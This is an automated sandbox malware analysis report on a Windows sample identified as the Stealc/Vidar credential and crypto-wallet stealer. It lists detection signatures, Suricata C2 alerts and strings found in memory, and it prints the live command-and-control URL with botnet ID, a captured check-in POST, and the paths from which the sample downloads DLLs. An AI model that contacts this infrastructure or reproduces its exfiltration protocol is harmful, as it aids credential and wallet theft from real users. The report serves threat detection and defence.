Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1530638
MD5:	5cfbe0da0b40bbeb190147dfcc81172a
SHA1:	c3c14be27aee42fc6389ce2a4f2f2f89d7a05908
SHA256:	8c3c66bd7526e3d3ed957c00536ad3968ba6ac9aaa0a5d2c2016bd195b698be2
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6648 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5CFBE0DA0B40BBEB190147DFCC81172A)

cleanup

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.1294425570.00000000056F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6648	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6648	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6648	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6648	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.file.exe.d70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T10:09:39.830954+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.7	49700	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T10:09:39.824306+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49700	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T10:09:40.046936+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49700	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T10:09:41.330922+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49700	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T10:09:40.054934+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.7	49700	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T10:09:39.603120+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49700	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T10:09:41.838399+0200	2803304	3	Unknown Traffic	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:48.398272+0200	2803304	3	Unknown Traffic	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:49.422746+0200	2803304	3	Unknown Traffic	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:50.227676+0200	2803304	3	Unknown Traffic	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:51.229720+0200	2803304	3	Unknown Traffic	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:52.949919+0200	2803304	3	Unknown Traffic	192.168.2.7	49700	185.215.113.37	80	TCP
2024-10-10T10:09:53.423770+0200	2803304	3	Unknown Traffic	192.168.2.7	49700	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 35 39 43 46 32 42 37 37 44 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="hwid"159CF2B77D8C1730677652------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="build"doma------IJDGCAEBFIIECAKFHIJE--

Source: file.exe, 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmp, file.exe, 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dlln0
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll40
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllP0aJ
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllx3YK
Source: file.exe, 00000004.00000002.1532715149.0000000001B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllB0SJ
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllN3WK
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlld3
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllj3KK
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1532715149.0000000001B36000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php-
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpData
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php_
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpfF
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpic_qt
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpn6pK
Source: file.exe, 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpr6
Source: file.exe, 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37H-
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000004.00000002.1557570471.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FBKJKEHIJECGCBFIJEGI.4.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: https://mozilla.org0/
Source: HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	String found in binary or memory: https://support.mozilla.org
Source: HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000004.00000003.1487753610.00000000300CB000.00000004.00000020.00020000.00000000.sdmp, HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000004.00000003.1487753610.00000000300CB000.00000004.00000020.00020000.00000000.sdmp, HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF2B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	4_2_6CF2B700
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF2B8C0 rand_s,NtQueryVirtualMemory,	4_2_6CF2B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF2B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	4_2_6CF2B910
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CECF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	4_2_6CECF280

Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921	4_2_01133921
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01140140	4_2_01140140
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_010AA15F	4_2_010AA15F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0113B174	4_2_0113B174
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_010181E7	4_2_010181E7
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_011059EA	4_2_011059EA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01143816	4_2_01143816
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_011360B7	4_2_011360B7
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_010AC340	4_2_010AC340
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_010945E9	4_2_010945E9
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0114543A	4_2_0114543A
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00FE75AE	4_2_00FE75AE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_010EFCF7	4_2_010EFCF7
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0113E752	4_2_0113E752
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_010937DC	4_2_010937DC
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0113960C	4_2_0113960C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01134661	4_2_01134661
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0101269D	4_2_0101269D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEC35A0	4_2_6CEC35A0
